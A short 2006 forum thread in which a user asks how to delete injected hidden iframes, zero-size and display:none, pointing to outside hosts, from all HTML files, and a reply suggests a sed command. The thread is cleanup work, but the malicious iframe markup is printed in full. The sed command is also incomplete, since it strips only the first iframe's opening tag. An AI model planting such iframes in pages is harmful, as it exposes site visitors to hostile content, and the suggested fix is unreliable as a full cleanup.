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Delete All lines having this expression

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# 1  
Old 07-15-2006
Delete All lines having this expression
Hi
I want to remove the following lines from all the .html files in the directory

<iframe name="3" src="http://voland.byhost.net/fr.htm" width=1 height=1 style="display:none"></iframe><iframe name="3" src="http://voland-rocker.fatal.ru/fr.htm" width=1 height=1 style="display:none"></iframe>


The problem is it has double quotes etc
How to do it?
SAn
# 2  
Old 07-16-2006
one way: escape the quote : \" and forward slash \/
Code:
sed 's/<iframe name=\"3\" src=\"http:\/\/voland.byhost.net\/fr.htm\" width=1 height=1 style=\"display:none\">//g' filename > newfilename

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